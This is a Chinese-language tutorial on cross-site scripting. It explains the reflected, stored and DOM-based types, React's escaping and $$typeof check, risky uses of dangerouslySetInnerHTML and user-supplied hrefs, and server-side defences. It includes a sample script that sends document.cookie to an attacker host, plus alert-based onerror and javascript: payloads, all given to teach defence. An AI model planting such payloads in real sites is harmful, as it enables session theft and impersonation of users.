XSS攻击

XSS 的全称叫 跨站脚本攻击（Cross Site Scripting） ，攻击出现的原因一般是因为 Web 程序对用户的输入过滤不足导致的一种漏洞，攻击者可以把恶意的脚本代码注入到网页之中，当其他用户浏览时就会执行其中的恶意代码，对受害者产生各种攻击。
XSS 一般分为三种类型：

• 反射型
• 存储型
• DOM型

反射型XSS:

反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个包含恶意代码的URL。当受害者点击恶意链接url的时候，恶意代码会直接在受害者的主机上的浏览器执行。

• 反射: 这种攻击方式的注入代码是从目标服务器通过错误信息，搜索结果等方式反射回来的
• 非持久性: web服务器不会存储反射型XSS攻击的恶意脚本;

常见于 恶意链接 中,当用户点击xxs攻击恶意链接时候，页面会跳转到 http://localhost:3001/xss 攻击者预先准备的页面，然后会返回攻击者准备的js脚本，该js脚本就在浏览器中执行了

反射型XSS的攻击步骤如下：
1. 攻击者在url后面的参数中加入恶意攻击代码。
2. 当用户打开带有恶意代码的URL的时候，网站服务端将恶意代码从URL中取出，拼接在html中并且返回给浏览器端。
3. 用户浏览器接收到响应后执行解析，其中的恶意代码也会被执行到。
4. 攻击者通过恶意代码来窃取到用户数据并发送到攻击者的网站。攻击者会获取到比如 cookie 等信息，然后使用该信息来冒充合法用户的行为，调用目标网站接口执行攻击等操作。

当服务器在 HTTP 请求中接收数据并将该数据拼接在 HTML 中返回时，例子：

存储型XSS

比如现在做了一个博客网站，然后攻击者在上面发布了一篇文章，内容是如下：

<script>window.open("www.gongji.com?param="+document.cookie)</script>

如果没有对该文章进行任何处理的话，直接存入到数据库中，那么下一次当其他用户访问该文章的时候，服务器会从数据库中读取后然后响应给客户端，那么浏览器就会执行这段脚本，然后攻击者就会获取到用户的cookie，然后会把cookie发送到攻击者的服务器上了。

因此存储型XSS的攻击步骤如下：

1. 攻击者将恶意代码提交到目标网站数据库中。
2. 用户打开目标网站时，网站服务器将恶意代码从数据库中取出，然后拼接到html中返回给浏览器中。
3. 用户浏览器接收到响应后解析执行，那么其中的恶意代码也会被执行。
4. 那么恶意代码执行后，就能获取到用户数据，比如上面的cookie等信息，那么把该cookie发送到攻击者网站中，那么攻击者拿到该cookie然后会冒充该用户的行为，调用目标网站接口等违法操作。

如何防范？

1. 后端需要对提交的数据进行过滤。
2. 前端也可以做一下处理方式，比如对script标签，将特殊字符替换成HTML编码这些等。

DOM-based型XSS

DOM XSS 是基于文档对象模型的XSS。一般有如下DOM操作：
1. 使用 document.write 直接输出数据。
2. 使用 innerHTML 直接输出数据。
3. 使用 location、location.href、location.replace、iframe.src、document.referer、window.name 等这些。

React 如何防止 XSS 攻击

无论使用哪种攻击方式，其本质就是将恶意代码注入到应用中，浏览器去默认执行。
React DOM 在渲染所有输入内容之前，默认会进行转义。它可以确保在你的应用中，永远不会注入那些并非自己明确编写的内容。所有的内容在渲染之前都被转换成了字符串，因此恶意代码无法成功注入，从而有效地防止了 XSS 攻击。

自动转义

React 在渲染 HTML 内容和渲染 DOM 属性时都会将 "'&<> 这几个字符进行转义，转义部分源码如下：

for (index = match.index; index < str.length; index++) {
  switch (str.charCodeAt(index)) {
    case 34: // "
      escape = '&quot;';
      break;
    case 38: // &
      escape = '&amp;';
      break;
    case 39: // '
      escape = '&#x27;';
      break;
    case 60: // <
      escape = '&lt;';
      break;
    case 62: // >
      escape = '&gt;';
      break;
    default:
      continue;
    }
  }

这段代码是 React 在渲染到浏览器前进行的转义，可以看到对浏览器有特殊含义的字符都被转义了，恶意代码在渲染到 HTML 前都被转成了字符串，如下：

// 一段恶意代码
<img src="empty.png" onerror ="alert('xss')"> 
// 转义后输出到 html 中
&lt;img src=&quot;empty.png&quot; onerror =&quot;alert(&#x27;xss&#x27;)&quot;&gt;

这样就有效的防止了 XSS 攻击。

JSX 语法

JSX 实际上是一种语法糖，Babel 会把 JSX 编译成 React.createElement() 的函数调用，最终返回一个 ReactElement
试试能否通过构造特殊的 Children 进行 XSS 注入，

const storedData = `{
  "ref":null,
  "type":"body",
  "props":{
  "dangerouslySetInnerHTML":{
  "__html":"<img src=\"empty.png\" onerror =\"alert('xss')\"/>"
      }
  }
}`;
// 转成 JSON
const parsedData = JSON.parse(storedData);
// 将数据渲染到页面
render () {
  return <span> {parsedData} </span>; 
}

这段代码中， 运行后会报以下错误，提示不是有效的 ReactChild

Uncaught (in promise) Error: Objects are not valid as a React child(found: object 
with keys {ref, type, props}). 
If you meant to render a collection of children, use an array instead.

那究竟是哪里出问题了？我们看一下 ReactElement 的源码：

const symbolFor = Symbol.for;
REACT_ELEMENT_TYPE = symbolFor('react.element');
const ReactElement = function(type, key, ref, self, source, owner, props) {
  const element = {
    // 这个 tag 唯一标识了此为 ReactElement
    $$typeof: REACT_ELEMENT_TYPE,
    // 元素的内置属性
    type: type,
    key: key,
    ref: ref,
    props: props,
    // 记录创建此元素的组件
    _owner: owner,
  };
  ...
  return element;
}

其中有个属性是 $$typeof，它是用来标记此对象是一个 ReactElement，React 在进行渲染前会通过此属性进行校验，校验不通过将会抛出上面的错误。
React 利用这个属性来防止通过构造特殊的 Children 来进行的 XSS 攻击，原因是

• $$typeof 是个 Symbol 类型，进行 JSON 转换后会 Symbol 值会丢失，无法在前后端进行传输。

• 如果用户提交了特殊的 Children，也无法进行渲染，利用此特性，可以防止存储型的 XSS 攻击。

  
  

  在 React 中可引起漏洞的一些写法

  使用 dangerouslySetInnerHTML

  dangerouslySetInnerHTML 是 React 为浏览器 DOM 提供 innerHTML 的替换方案。
  通常来讲，使用代码直接设置 HTML 存在风险，因为很容易使用户暴露在 XSS 攻击下，因为当使用 dangerouslySetInnerHTML 时，React 将不会对输入进行任何处理并直接渲染到 HTML 中，如果攻击者在 dangerouslySetInnerHTML 传入了恶意代码，那么浏览器将会运行恶意代码。看下源码：

  function getNonChildrenInnerMarkup(props) {
  const innerHTML = props.dangerouslySetInnerHTML; // 有dangerouslySetInnerHTML属性，会不经转义就渲染__html的内容
  if (innerHTML != null) {
    if (innerHTML.__html != null) {
      return innerHTML.__html;
    }
  } else {
    const content = props.children;
    if (typeof content === 'string' || typeof content === 'number') {
      return escapeTextForBrowser(content);
    }
  }
  return null;
  }

  所以平时开发时最好避免使用 dangerouslySetInnerHTML，如果不得不使用的话，前端或服务端必须对输入进行相关验证，例如对特殊输入进行过滤、转义等处理。
  前端这边处理的话，推荐使用白名单过滤，通过白名单控制允许的 HTML 标签及各标签的属性。

  通过用户提供的对象来创建 React 组件

  举个例子：

  // 用户的输入
  const userProvidePropsString = `{"dangerouslySetInnerHTML":{"__html":"<img onerror='alert(\"xss\");' src='empty.png' />"}}"`;
  // 经过 JSON 转换
  const userProvideProps = JSON.parse(userProvidePropsString);
  // userProvideProps = {
  //   dangerouslySetInnerHTML: {
  //     "__html": `<img onerror='alert("xss");' src='empty.png' />`
  //      }
  // };
  render() {
     // 出于某种原因解析用户提供的 JSON 并将对象作为 props 传递
    return <div {...userProvideProps} /> 
  }

  这段代码将用户提供的数据进行 JSON 转换后直接当做 div 的属性，当用户构造了类似例子中的特殊字符串时，页面就会被注入恶意代码，所以要注意平时在开发中不要直接使用用户的输入作为属性。

  使用用户输入的值来渲染 a 标签的 href 属性，或类似 img 标签的 src 属性等

  const userWebsite = "javascript:alert('xss');";
  <a href={userWebsite}></a>

  如果没有对该 URL 进行过滤以防止通过 javascript: 或 data: 来执行 JavaScript，则攻击者可以构造 XSS 攻击，此处会有潜在的安全问题。用户提供的 URL 需要在前端或者服务端在入库之前进行验证并过滤。

  服务端如何防止 XSS 攻击

  服务端作为最后一道防线，也需要做一些措施以防止 XSS 攻击，一般涉及以下几方面：

• 在接收到用户输入时，需要对输入进行尽可能严格的过滤，过滤或移除特殊的 HTML 标签、JS 事件的关键字等。

• 在输出时对数据进行转义，根据输出语境 (html/javascript/css/url)，进行对应的转义
• 对关键 Cookie 设置 http-only 属性，JS脚本就不能访问到 http-only 的 Cookie 了
• 利用 CSP 来抵御或者削弱 XSS 攻击，一个 CSP 兼容的浏览器将会仅执行从白名单域获取到的脚本文件，忽略所有的其他脚本 (包括内联脚本和 HTML 的事件处理属性)

参考:

1. 浅谈 React 中的 XSS 攻击: https://mp.weixin.qq.com/s/jL3KspqVG0VJT59YJ-Ahlw
2. web安全之XSS攻击原理及防范: https://www.cnblogs.com/tugenhua0707/p/10909284.html#_labe1
3. Web安全攻防实战: https://time.geekbang.org/course/intro/100055001